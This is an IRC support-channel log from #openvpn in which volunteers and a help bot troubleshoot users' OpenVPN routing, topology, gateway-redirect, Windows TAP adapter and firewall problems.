16:21 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
16:31 < dym> pekster: Is there an option to push the gateway redirect only to specific clients?
16:32 < pekster> Yup, instead of putting the push statement in the global server config, use a ccd file (see --client-config-dir in the manpage, or !ccd here) or do the same via a --client-connect script
16:33 < dym> !ccd
16:33 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
16:33 < dym> beautiful. thanks
16:34 < dym> What i dont understand is the ccd statement of (for example) ifconfig-push 10.1.15.5 10.1.15.6 - if 15.5 is the clients ip address, what is 15.6. for?
16:35 < dym> is that the other end of the point to point?
16:35 < pekster> Yup. And even that is pointless in net30:
16:35 < pekster> !/30
16:35 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
16:35 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
16:36 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
16:37 < dym> err allright
16:37 < dym> im using /24
16:37 < pekster> No, I'm refering to the --topology
16:39 -!- cjs226 [~cjs226@99-42-101-192.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
16:40 < dym> geeeez
16:40 < dym> But even with that behaviour i could control what /30 is assigned to what client in ccd?
16:40 < pekster> Yup, although if you're doing that...
16:40 < pekster> !static
16:40 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
16:40 < pekster> See note #4 specifically
16:41 < pekster> Just use --topology subnet as explained above unless you *actually* need to support Windows clients running a pre-2.1 version (which is over 6 years old now.)
16:41 < dym> what do the #'s referr to? a website?
16:42 < pekster> They refer to the (#4) part
16:42 < pekster> (again, read a bit closer)
17:07 < i7c> can i see somehow (on the server) what ips are currently in use?
17:07 <+patelx> ifconfig -a
17:07 <+patelx> tun adapters would have those ip's bind to inet addr:
17:08 < i7c> patelx, ips of the client i meant. my question was unclear.
17:09 -!- bonjurkes [~julia@open.barbaros.gen.tr] has joined #openvpn
17:09 < bonjurkes> so the problem is, on windows after some time I drop back to my normal connection even though vpn is still connected
17:09 < bonjurkes> keepalive is 10 120 is in server.conf also
17:09 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
17:10 < pekster> i7c: Use the --status file, or send the PID a SIGUSR2 signal and it'll spit that same info out to the log
17:10 < i7c> thx
17:10 < pekster> bonjurkes: Doing what, redirecting the gateway? Are you using def1 with --redirect-gateway?
17:10 < bonjurkes> umm nice
17:12 < bonjurkes> I missed def1
17:12 < bonjurkes> pekster yeah I am using redirect-gateway but without def1
17:13 < pekster> Then your local DHCP server is wiping out your default route
17:13 < pekster> !def1
17:13 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:13 -!- tyrok [~tyrok@c-71-205-69-93.hsd1.mi.comcast.net] has joined #openvpn
17:13 < tyrok> !welcome
17:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:14 < tyrok> !goal
17:14 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:16 < tyrok> Hi!  I would like to access my internal Windows-based LAN via Windows clients using OpenVPN in tun mode over UDP.  I have been using it for months, but in the last week or so, I've had quite a few problems with OpenVPN being unable to connect to the server properly.  It gets an IP address, but I cannot ping the server once the connection comes up.  The errors in the log seem to vary.  Any ideas?
17:18 < pekster> My idea is that your errors may be important. Whatever it is they are.
17:19 < rob0> What a great idea! :)
17:19 < tyrok> Problem I'm having with debugging it is that it's intermittent and the client-side logs tend to give me different errors (nothing of note on the server that I've spotted).  Probably can't post server-side log with any meaningful detail, but I can post client-side if you'd like.
17:20 < tyrok> (Too many clients going to the server right now - would take a bit to anonymize it sufficiently for company policy.  As I mentioned, it's been working great, so there are a lot of people using it.)
17:20 < tyrok> !paste
17:20 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
17:22 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:24 < tyrok> Client log (anonymized a bit): http://pastebin.com/zRE8dLDF
17:25 < tyrok> And, yeah, I see reneg-sec can't be pushed.  That's something I know I need to correct.
17:26 < tyrok> Client config: http://pastebin.com/rUKXV894
17:27 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
17:28 < tyrok> Server config: http://pastebin.com/QNHxSFjA
17:29 < tyrok> pekster, rob0: That's probably about as much info as I can get you right now.
17:29 < pekster> Besides the netsh complaining I don't see a problem
17:29 < tyrok> That's part of the problem.
17:29 < pekster> And at best that would mess up the DNS server (hence the error applying that netsh command)
17:30 < pekster> You said you were having problems pinging things; this wouldn't impact that
17:30 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:30 < tyrok> The client-side errors are not consistent, either.  Sometimes the connection works fine.  Sometimes it breaks like this, where it just can't ping.  Sometimes it complains in the logs about pretty much any step of the initial connection negotation process.  It's made it a bit difficult to track down.
17:31 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 264 seconds]
17:32 < pekster> So, it's not just a pure connection issue between server & client, since your settings will have the client disconnecting after 2 minutes of lost keepalive packets
17:33 -!- bonjurkes [~julia@open.barbaros.gen.tr] has quit [Remote host closed the connection]
17:33 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 256 seconds]
17:33 < pekster> I'd suggest you not load your certs/keys out of the PKI directory, but that's not an operational problem (better security suggests you keep your PKI off the VPN server anyway, but again, not a functional issue)
17:33 < tyrok> Once it connects, it stays connected for as long as I want.  If I can't ping, though, it's probably messed up until a full system restart.
17:34 < tyrok> And this is on a fresh Win8 Pro install.
17:34 < pekster> Sounds like something goofy on the client side then, steming from the netsh failure
17:34 -!- ppr [~peper@gentoo/developer/peper] has quit [Ping timeout: 252 seconds]
17:34 < pekster> Maybe play around with the windows-specific options and use a differnet API?
17:34 < tyrok> Tried both.
17:35 < pekster> There's more than to :P
17:35 < tyrok> I've been trial-and-erroring different options for about a day and a half no to no avail.
17:35 < pekster> two*
17:35 < tyrok> Both as in Windows-specific options and using something other than netsh.
17:35 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
17:36 < pekster> Either 'dynamic' or 'ipapi' might be preferred choices to netsh
17:36 < tyrok> Did a bunch of playing around with MTU settings thinking maybe the compression was interacting with that funny, but that didn't help.
17:36 < tyrok> I'll try both.  Just a sec.
17:37 < pekster> Best way to rule out MTu issues is disable compression completely and verify max-MTU packets get through
17:37 < tyrok> Tried disabling compression and lowing MTU to 1300.  Same issues.  Also tested MTU all the way through using both OpenVPN's MTU test and other tests at >1500 bytes.
17:39 < pekster> >1500 will fail unless you increased the MTU across the tun adapter or didn't use DF packets during your test
17:39 < pekster> (no point in testing MTU if you don't set DF on the test packets)
17:40 < tyrok> Mainly did it just to test and see if we were onto anything looking in that direction.  Point being that I don't believe we're dealing with an MTU issue.
17:40 -!- peper [~peper@gentoo/developer/peper] has quit [Remote host closed the connection]
17:41 < tyrok> Okay, so dynamic goes through the process but doesn't have the continual loop of TEST ROUTES failings.  However, I still can't ping.
17:41 < tyrok> Will post log in a sec...
17:43 < tyrok> http://pastebin.com/R8WGSkv8
17:43 < pekster> The OS can't add the routes until the address is assigned. That was the issue in the delay in the first logs you had
17:44 < tyrok> Trying ipapi...
17:45 < pekster> The whole "DNS client service could not be stopped" is an issue if you expect --register-dns to work
17:45 < tyrok> ipapi is acting similar to when it was netsh - a bunch of TEST ROUTES failures.  No ping.
17:45 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
17:45 < tyrok> I don't expect --register-dns to work.
17:45 < pekster> And really, that whole thing is a hack around the bullshit windows crap anyway. I found in testing that you don't need to stop the "DNS Cache" service at all, but change "any" arbitrary value (I disabled DNS registration on the tap adapter since I wasn't using it at that setup anyway) and it got the "global DNS search suffix" list updated
17:45 < tyrok> I think that's still in the client config due to being a leftover from a previous experiment.
17:46 < tyrok> Actually, no, I remember why that was there.
17:46 < pekster> Otherwise, Windows and it's stupid ways updates it anywhere bewteen 0 and 15 minutes *after* the connection comes up
17:46 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
17:46 < tyrok> That's there specifically so it runs "ipconfig /flushdns".  I don't need any of the other functionality of that option.
17:46 < pekster> The platform does some really stupid things, and people learned to hack it by restarting the dns cache service, despite the fact that it's not the dns cache at all
17:47 < pekster> Gotcha
17:47 < tyrok> I'm pinging 10.8.0.1 by IP address, anyway, so at this point DNS isn't helpful if I can't get traffic across it.  :)
17:47 < pekster> Well, you might need the domain fixing features that "restarting" the dns cache service does if you expect non-FQDNs to work
17:47 < pekster> Right
17:47 < pekster> So, ignoring that, why is your ipconfig command failing in log #2?
17:48 < pekster> Sounds to me like your OS has some issues if stuff like that is happening
17:48 < pekster> Does the interface have the right addressing and routes added after that 2nd connect attempt?
17:49 < tyrok> Looks like it's fine to me (outside of the net start dnscache).
17:49 < tyrok> It does not have the correct routes with ipapi.  It did with netsh.  I'll check with dynamic.
17:50 < tyrok> Or at least it had routes.  I can't vouch for their correctness, since they were a bit goofy but should have been usable.
17:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 276 seconds]
17:51 < pekster> If you can't even ping 10.8.0.1 after connect, that's a pretty basic problem
17:51 < tyrok> Yep.  Which is why I figured I'd better check here.  :)
17:51 < pekster> Either the connection timed out right after it started (and 2 min later you'd know as the client timed out) or there's a more fundamental OS issue (possibly firewall, but I'm guessing not in this case.)
17:52 < pekster> Sounds to me like the client is hosed when you combine the goofy ipconfig and/or netsh.exe randomly failing, taking 30s+ to have the adapter finally stop "aquiring an address" or w/e windows claims to be doing these-days
17:52 < tyrok> Keep in mind, this is an intermittent issue, and on this particular test machine, it's on a fresh install of Win8 Pro.
17:53 < tyrok> Routing table with dynamic: http://pastebin.com/uawhazFk
17:54 < tyrok> (The IPv4 portion, anyway.)
17:54 < pekster> Yea, no need for ipv6 unless that's your issue :)
17:55 < tyrok> Nope.  Would love that to be my issue, but I haven't had the time to fiddle with IPv6 enough for that to be my issue yet.  :)
17:55 -!- Nothing4You is now known as cursed_traitor
17:55 -!- cursed_traitor is now known as Nothing4You
17:56 < tyrok> Error I'm currently getting from ping is Request timed out.  I have had Destination host unreachable and one or two others.
17:56 < tyrok> Again, it varies just like the errors in the client-side logs do.
17:56 < tyrok> Server's Windows Server 2012, by the way.
17:57 < pekster> Nothing on the VPN part looks out of whack; you should be able to ping 10.8.0.1
17:57 < tyrok> "Should" being the operative word there.  :)
17:57 < pekster> I'd watch a packet capture on both ends to see at what step it gets lost
17:57 < EugeneKay> Windows? Firewall.
17:57 < pekster> You can start on the tap adapters first, but if it leaves the client and never arrives on the server, watch the tunneled outside packets
17:58 < tyrok> EugeneKay: Port 1194 is open, and is NATted but has forwarding set up.  Can't shut down the firewall.
17:59 < EugeneKay> No no, for the pings
17:59 < tyrok> I can normally ping the server fine.
17:59 < EugeneKay> On the public interface, sure.
17:59 < tyrok> No, on the VPN interface.
17:59 < tyrok> For >90% of the time, the VPN functions as you'd expect and works flawlessly.
18:00 < tyrok> The others have to continually restart until they get a good VPN connection.
18:00 < EugeneKay> Sounds like your network is crap
18:00 < tyrok> pekster: I have Wireshark on the server.  Good enough to track it down, and what would I look for?
18:01 < pekster> The last line I posted ran through that
18:01 < tyrok> EugeneKay: I wouldn't doubt that.  But then OpenVPN should probably not be wedging itself so badly the computer has to be restarted.
18:01 < EugeneKay> It's WIndows. :-p
18:01 < pekster> If you aren't getting a reply, the packet's clearly aren't making it there and back. It's your job to find out where, to get clues as to why
18:01 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
18:02 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
18:02 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
18:02 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
18:02 < tyrok> Darn.  I was really hoping this problem would be a clue-by-four moment toward me for something obvious I missed.  :)
18:05 < tyrok> pekster: It would appear, according to Wireshark on the server, that it's receiving pings but not sending anything back.
18:05 < tyrok> Like, not just in response to pings, but it's sending absolutely nothing back.
18:06 < tyrok> Any thoughts?
18:06 < EugeneKay> !beer
18:06 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
18:07 < tyrok> EugeneKay: :)
18:08 < tyrok> Hmmm...also, and I believe this is probably unrelated due to the routing table and where I'm pinging, but ipconfig on the client is not showing a default gateway for the TAP/TUN adapter.
18:08 < pekster> It won't normally
18:09 < pekster> Maybe if you used --redirect-gateway, but you generally won't do that
18:09 < tyrok> Okay, so any thoughts as to why the server would be unable to send anything back to the client?
18:10 < tyrok> Even a ping from the server to the client's address doesn't show any traffic in Wireshark.
18:11 < pekster> Messed up routes (such as with overlapping networks) or you've managed to grossly misconigure your Windows networking in some other way
18:12 < pekster> Doesn't really sound like an openvpn problem at that point
18:14 -!- Dat [dat@gotpot.org] has joined #openvpn
18:17 -!- N34lO [~weechat@2a00:12d8:2:7::bad:c0de] has joined #openvpn
18:21 < N34lO> hi, what config do i need if i whant to connect multible servers which have a bridge connected to VMs (but no internet access should be posible)
18:22 -!- master_o1_master [~master_of@p4FF24BB6.dip0.t-ipconnect.de] has joined #openvpn
18:25 -!- master_of_master [~master_of@p4FF241EB.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
18:28 < tyrok> I think I got it working, though I'm unsure of why it'd be intermittent.  In theory, nothing should have been working at all.
18:28 < tyrok> The server was not adding a route to reply to any of the clients.
18:28 < pekster> If you're using 10.8/16 as your VPN range, you should get a corresponding route when the VPN comes up
18:28 < tyrok> It wasn't doing that.
18:29 < tyrok> I had to explicitly add "route 10.8.0.0 255.255.0.0 10.8.0.1" and "route-method exe" to get it to automatically add the route.
18:30 < pekster> That's implicit if you use --server (if you do the setup manually, that would have been a mistake not to have added it before)
18:32 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer]
18:32 < MagisterQuis> Speaking of which, does OS X not support setting the default route to go over the VPN?
18:36 < tyrok> pekster: Should.  Should is the operative word there.
18:37 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:44 -!- HyperGlide [~HyperGlid@110.185.144.81] has quit [Remote host closed the connection]
18:50 < dym> pekster: Thanks for all the help. Really worth reading up tonight.
19:01 < tyrok> Okay...well, it's at least happening a bit less often.  There are still situations where I can't ping.  The client-side log is showing that it's assigning an IP address to the TAP adapter, which ipconfig says it doesn't have, and that it added routes, which route print doesn't show.  Strange.
19:02 < tyrok> ipconfig shows "Media disconnected"
19:05 < tyrok> That was with dynamic mode.  netsh mode works properly now, apparently.
19:05 < tyrok> At least once.  :)
19:06 < tyrok> pekster, EugeneKay: Thanks for the help!  Glad to see this thing at least mostly working again.  :)
19:08 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:09 -!- N34lO [~weechat@2a00:12d8:2:7::bad:c0de] has left #openvpn ["The answer was 0x2A!"]
19:10 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
19:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:52 -!- raidz is now known as raidz_away
19:58 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:16 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
20:20 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
20:21 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:25 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 245 seconds]
20:25 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
20:28 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has joined #openvpn
20:28 -!- MagisterQuis [~MagisterQ@c-69-143-115-122.hsd1.md.comcast.net] has quit [Changing host]
20:28 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
20:28 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
20:28 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:50 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
20:54 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
20:54 -!- michaelhart_ is now known as michaelhart
22:06 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:21 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
22:22 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
22:23 < srg> I have a system connected to a VPN. I want all my traffic to be routed through the VPN. It's using the tap0 interface. How can I firewall this?
22:23 < srg> Block all traffic on the em0 (my inet interface) except for the openvpn server port 1194? then I have to setup pass rules for the tap0 interface?
22:25 < pekster> 1) don't route with tap. 2) see !redirect for redirecting all Internet-bound traffic. 3) Yup, if you want assurance that no non-VPN traffic goes out, firewall it and make an exception for the VPN tunneled packets
22:25 < pekster> And don't forget that if you use DNS for your server endpoint, that won't work when the VPN goes down unless you exempt that too, or run a local DNS server that isn't firewalled
22:26 < srg> my provider uses tap only
22:26 < srg> ah ok, good point with dns
22:26 < srg> !redirect
22:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:26 <@vpnHelper> http://ircpimps.org/redirect.png
22:38 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
22:48 -!- N34lO [~weechat@2a00:12d8:2:7::bad:c0de] has joined #openvpn
22:50 < N34lO> hi, can someone tell me why i can ping my server from one client but the server can't ping the client but an other client can be pinged but only from the server
22:55 < pekster> N34lO, firewall
22:55 < N34lO> nope iptables are clean
22:55 < pekster> See also --client-to-client, but that's unnecessary if you intend to do filtering on the server-side for such forwarded traffic
22:55 < pekster> Well, that's the reason
22:56 < pekster> Routing obviously works. Remember you have *two* sets of firewalls
22:56 < N34lO> client-to-client is enabled
22:56 < pekster> Then you're left with a firewall problem
22:57 < rob0> /topic, "Your problem is probably firewall, Really"
22:57 < N34lO> pekster, can't be, i checked the firewall - it only drops some packeges that have -d xx.xx.xx.72 (public IP)
22:57 < N34lO> well i have more problems ^^
22:58 < rob0> If we had a dime for everyone with a firewall problem who insisted it wasn't the firewall, I suppose we'd have a pretty good pile of dimes!
23:00 < N34lO> well i have one other problem: host -> client1 (ping works), system1 (over bridge) -> client1 (ping failes), client 1 -> system1 (ping works)
23:01 < N34lO> client1 hasn't got a firewall (iptables -F & Default is ACCEPT)
23:02 < N34lO> system1 has no firewall to (iptables not installed)
23:03 -!- tarrant2 [~tarrant@mail.voidbyte.net] has left #openvpn ["WeeChat 0.3.0"]
23:03 < pekster> And it's presumably being routed or sent over additional systems, unless you have a direct cable connection between them
23:03 < pekster> If packets are sent but don't arrive, it's a firewall or connectivity issue: it's that simple
23:04 < N34lO> and client2 <-> system1 (fails), client1 <-> client2 (fails), host -> client2 (fails), client2 -> host (ok) ---- the problem i described first
23:05 < N34lO> system1 is actually a vm, so that means tap0, and veth are on the same br
23:06 < pekster> bridges can filter packets too
23:06 < pekster> Either way,
23:06 < pekster> !notovpn
23:07 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
23:07 < pekster> Also, veth? OpenVZ?
23:07 < pekster> !openvz
23:07 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
23:07 < pekster> netfilter and openvz don't get along well
23:09 < N34lO> pekster, well first lxc, secondary there is no netfilter activ (only one host realy has a firewall and that hasn't got any "hits"), third the problems are not only between vms and vpn but between server and clients or client and client
23:09 < N34lO> and ebtables aren't installed, too
23:10 < pekster> I'm referring to the kernel config option CONFIG_BRIDGE_NETFILTER
23:10 < pekster> Not ebtables
23:10 < pekster> Either way, your issue is not openvpn, so it's fairly off-topic here. Since you can ping one direction but not the other, routing clearly works, as does the VPN delivery of packets in both directions
23:22 < N34lO> http://f0c0.eventnet.ccc.de/
23:23 <@vpnHelper> Title: Index of / (at f0c0.eventnet.ccc.de)
23:23 < N34lO> look at the "logs"
23:23 < N34lO> oh, and after rebooting system1 it can now ping client1
23:23 < pekster> I don't see any configs or logs
23:23 < pekster> I don't deal with FUD
23:25 < N34lO> FUD?
23:27 < pekster> Fear, Uncertainty, Doubt. "I'm using openvpn, so it must be openvpn that's at fault!"
23:29 < N34lO> well what else should it be?
23:30 < N34lO> if it was only that vm -> clients wouldn't work ok
23:30 < N34lO> that would be something different
23:30 < N34lO> but this ist client -> client
23:30 < N34lO> or server -> client
23:32 -!- N34lO [~weechat@2a00:12d8:2:7::bad:c0de] has left #openvpn ["-.-"]
23:32 < pekster> So you have 3 systems and 3 firewalls involved
23:37 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 256 seconds]
23:38 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
23:45 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Quit: No Ping reply in 180 seconds.]
23:45 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
23:45 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:45 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 256 seconds]
23:46 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
23:47 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
--- Day changed Fri May 31 2013
00:27 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Operation timed out]
00:28 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
00:44 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: Donks]
00:47 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 240 seconds]
00:54 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
01:00 -!- Holister [~holister@2602:304:cd91:4220:4261:86ff:fecb:fcb3] has quit [Quit: That's it for today]
01:04 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
01:13 -!- corehook [~corehook@2.133.63.126] has joined #openvpn
01:27 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
01:33 -!- corehook [~corehook@2.133.63.126] has quit [Ping timeout: 256 seconds]
01:40 -!- corehook [~corehook@2.133.63.126] has joined #openvpn
01:41 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
01:49 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: he flaps his wings and glides into the distance...]
01:49 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
01:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:22 -!- mattock_afk is now known as mattock
02:23 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
02:24 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
02:27 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:29 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
02:29 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
02:29 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
02:30 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
02:32 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
02:35 -!- Netsplit *.net <-> *.split quits: Dave2, @mattock, stephanj, DrCode, RichardBronosky, nutron|w, tyrok, Matir, cherwin
02:35 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:35 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:40 -!- Netsplit over, joins: nutron|w
02:41 -!- Netsplit over, joins: tyrok
03:05 -!- _Dave2_ is now known as Dave2
03:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
03:20 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
03:20 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
03:20 -!- ServerMode/#openvpn [+o mattock] by wolfe.freenode.net
03:24 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
03:25 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:38 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
03:46 -!- erry_ is now known as erry
03:54 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:58 -!- Denial [Denial@90.208.15.68] has joined #openvpn
04:07 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:31 -!- gnarface [~gnarface@50.9.177.220] has joined #openvpn
04:31 < gnarface> !welcome
04:31 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
04:31 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:32 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:34 < gnarface> hey people i just was wondering if anyone knows if i can set up an openvpn bridge server that lets the clients use its own ip (server only has the one public ip) or if i'm stuck having to NAT+port forward private routed ip addresses?
04:34 < gnarface> there would only ever be one client
04:34 < gnarface> but it needs a public ip
04:34 < gnarface> does this require two public ip addresses?
04:35 < gnarface> i'm almost certain it does but i'm wondering if there's a trick
04:57 < cnf> gnarface: so what do you want?
04:57 < cnf> you want the client to have a public ip, but you don't want it to have a public ip?
04:58 < gnarface> i want the client to share the public ip with the server
04:58 < cnf> that is what NAT is for
04:58 < gnarface> yea i guess its dumb.
04:58 < gnarface> i should NAT
04:59 < cnf> you are saying that is what you want
04:59 < cnf> and then saying you don't want it
04:59 < gnarface> well if i NAT i have to figure out how to make the email come out from the same ip that it comes in on
04:59 < cnf> what?
05:00 < cnf> gnarface: you are making little sense
05:00 < gnarface> ever run a mail server?
05:00 < cnf> yes, too often
05:00 < cnf> you just said you only have one public ip
05:00 < gnarface> i only have one public ip on the server
05:00 < gnarface> yes
05:00 < cnf> <gnarface> well if i NAT i have to figure out how to make the email come out from the same ip that it comes in on
05:00 < cnf> so that makes no sense
05:01 < gnarface> it makes perfect sense, if you assume i want my email to actually be accepted by other public mail servers
05:01 < cnf> no, because you only have ONE ipo
05:02 < cnf> as you just said
05:02 < gnarface> don't be an ass
05:02 < cnf> i'm not
05:02 < cnf> you are not making sense!
05:02 < gnarface> obviously i can add as many private ip addresses locally as i want
05:02 < cnf> private
05:02 < cnf> that is what they are, private
05:02 < gnarface> look
05:02 < cnf> you only have one PUBLIC address
05:02 < gnarface> mail servers need public ip addresses, right?
05:02 < cnf> so the REST of the world only see ONE address
05:02 < cnf> the public one
05:03 < gnarface> yes
05:03 < cnf> and you only have a single public IP, as you just said
05:03 < gnarface> yes
05:03 -!- cherwin_ [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
